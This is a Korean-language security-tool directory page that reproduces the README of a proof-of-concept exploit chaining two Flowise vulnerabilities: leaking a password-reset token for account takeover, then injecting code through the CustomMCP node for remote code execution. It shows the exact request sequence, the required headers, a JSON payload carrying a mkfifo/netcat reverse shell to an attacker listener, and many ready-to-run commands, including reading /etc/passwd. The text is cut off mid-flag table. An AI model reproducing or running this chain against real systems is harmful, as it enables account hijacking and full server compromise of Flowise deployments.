Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-58434-AND-59528-POC — Flowise의 CVE-2025-58434 (계정 탈취) 및 CVE-2025-59528 (RCE)에 대한 모듈형 PoC. 인증되지 않은 토큰 유출부터 리버스 셸 또는 사용자 정의 명령을 통한 원격 코드 실행까지 전체 공격 체인을 자동화합니다. | Kitploit
도구/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Flowise의 CVE-2025-58434 (계정 탈취) 및 CVE-2025-59528 (RCE)에 대한 모듈형 PoC. 인증되지 않은 토큰 유출부터 리버스 셸 또는 사용자 정의 명령을 통한 원격 코드 실행까지 전체 공격 체인을 자동화합니다.

저장소 보기
19105개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Flowise 이중 CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 교육 및 인가된 보안 연구 목적으로만 사용하세요.
귀하가 소유하지 않거나 서면 허가 없이 테스트할 수 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.


목차

  • 개요
  • 취약점 상세
    • CVE-2025-58434 — 계정 탈취
    • CVE-2025-59528 — 원격 코드 실행
  • 전체 공격 체인
  • 영향받는 버전
  • 저장소 구조
  • 요구 사항
  • 설치
  • 사용법
    • 기본 동작
    • 도움말 화면
    • 체인 모드
    • 모듈 — ATO
    • 모듈 — 로그인
    • 모듈 — RCE
  • 플래그 참조
  • 리버스 셸 vs 사용자 정의 명령어
  • 예제 출력
  • 대응 방안
  • 공개 타임라인
  • 참고 자료
  • 면책 조항

개요

이 저장소는 Flowise의 두 가지 치명적 취약점을 하나의 모듈식 PoC 도구로 결합합니다.

CVE-2025-58434CVE-2025-59528
유형계정 탈취원격 코드 실행
인증 필요없음예 (유효한 계정 필요)
CVSS9.8 치명적치명적
영향클라우드 + 자체 호스팅자체 호스팅

두 취약점은 자연스럽게 연결됩니다: CVE-2025-58434는 인증되지 않은 계정 탈취를 제공하며, 이는 CVE-2025-59528의 인증 요구 사항을 충족시켜 단일 자동 실행으로 인증되지 않은 RCE를 달성합니다.


취약점 상세

CVE-2025-58434 — 계정 탈취

근본 원인: forgot-password 엔드포인트가 비밀번호 재설정 토큰(tempToken)을 이메일로만 보내지 않고 HTTP 응답 본문에 직접 반환합니다.

공격 단계:

  1. 등록된 이메일로 POST /api/v1/account/forgot-password 요청
  2. JSON 응답에서 tempToken 읽기 — 이메일 접근 불필요
  3. 유출된 토큰으로 POST /api/v1/account/reset-password → 새 비밀번호 설정
  4. 피해자로 로그인

유출된 응답 (일부):

{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — 원격 코드 실행

근본 원인: CustomMCP 노드가 사용자 제공 mcpServerConfig를 JavaScript의 Function() 생성자에 직접 전달하며 삭제(sanitization)하지 않습니다. Flowise는 Node.js에서 실행되므로 주입된 코드는 child_process, fs 및 모든 Node.js 내장 기능에 완전히 접근할 수 있습니다.

취약한 코드 경로:

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← 삭제되지 않은 사용자 입력

필수 헤더:

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

기본 주입 페이로드 (리버스 셸):

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

참고: 리버스 셸 페이로드는 cp.exec() (비동기 / 발사 후 망각)을 사용하므로 HTTP 요청이 즉시 반환되어 도구가 타임아웃되지 않습니다. 일반 명령어는 cp.execSync()를 사용하며 출력을 인라인으로 반환합니다.


전체 공격 체인

공격자                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← 응답에 토큰 유출
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO 완료
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← 쿠키 추출
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   공격자의 nc 리스너 ←─────────────── 서버가 역연결
   ✓  자격 증명 없이 완전한 RCE

영향받는 버전

구성 요소상태
Flowise Cloud (cloud.flowiseai.com)CVE-2025-58434에 영향
Flowise 자체 호스팅 (패치 이전 모든 버전)두 CVE 모두에 영향

패치된 릴리스 번호는 공식 Flowise 보안 권고를 확인하십시오.


저장소 구조

flowise-dual-cve-poc/
├── flowise_poc.py      # 메인 PoC — 모든 모듈 + 체인 모드
├── requirements.txt    # Python 종속성
├── README.md           # 이 파일
└── DISCLAIMER.md       # 전체 법적 고지

요구 사항

  • Python 3.7+
  • requests 라이브러리

설치

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

사용법

기본 동작

모드 플래그가 필요하지 않습니다. --chain 또는 --module 없이 스크립트를 실행하면 자동으로 전체 체인 모드로 실행됩니다. 기본 RCE 페이로드는 리버스 셸입니다 — --lhost와 --lport만 제공하면 됩니다.

# 최소 호출 — 전체 체인 + 리버스 셸
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

실행 전에 리스너를 시작하세요:

nc -lvnp 4444

도움말 화면

python3 flowise_poc.py -h

체인 모드

네 단계를 모두 처음부터 끝까지 실행합니다: 토큰 유출 → 비밀번호 재설정 → 로그인 → RCE.

# 리버스 셸 (기본 페이로드)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# 리버스 셸 대신 사용자 정의 명령어
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# 사용자 정의 ATO 비밀번호 + 리버스 셸
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

모듈 — ATO

tempToken을 유출하고 계정 비밀번호를 재설정합니다. 로그인/RCE 전에 중단됩니다.

# 기본 새 비밀번호
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# 사용자 정의 새 비밀번호
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# 원시 JSON 응답 출력
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

모듈 — 로그인

인증하고 수동 사용을 위해 세 개의 세션 쿠키를 추출합니다.

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# 스크립팅을 위한 JSON 출력
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

모듈 — RCE

서버에서 실행합니다. --token이 제공되지 않으면 자동 로그인합니다.

# 리버스 셸 — 자동 로그인
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# 사용자 정의 명령어 — 자동 로그인
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# 수동 토큰 — 리버스 셸
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# 세 쿠키 모두 수동
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

플래그 참조

모드 (모두 선택 사항 — 기본값은 --chain)

플래그설명
--chain전체 체인: ATO → 로그인 → RCE
--module ato계정 탈취만
--module login로그인 및 쿠키 추출만
--module rceRCE만

대상

플래그약어설명필수
--url-uFlowise 인스턴스의 기본 URL항상
--email-e대상 / 로그인 이메일항상

ATO 옵션

도구 다운로드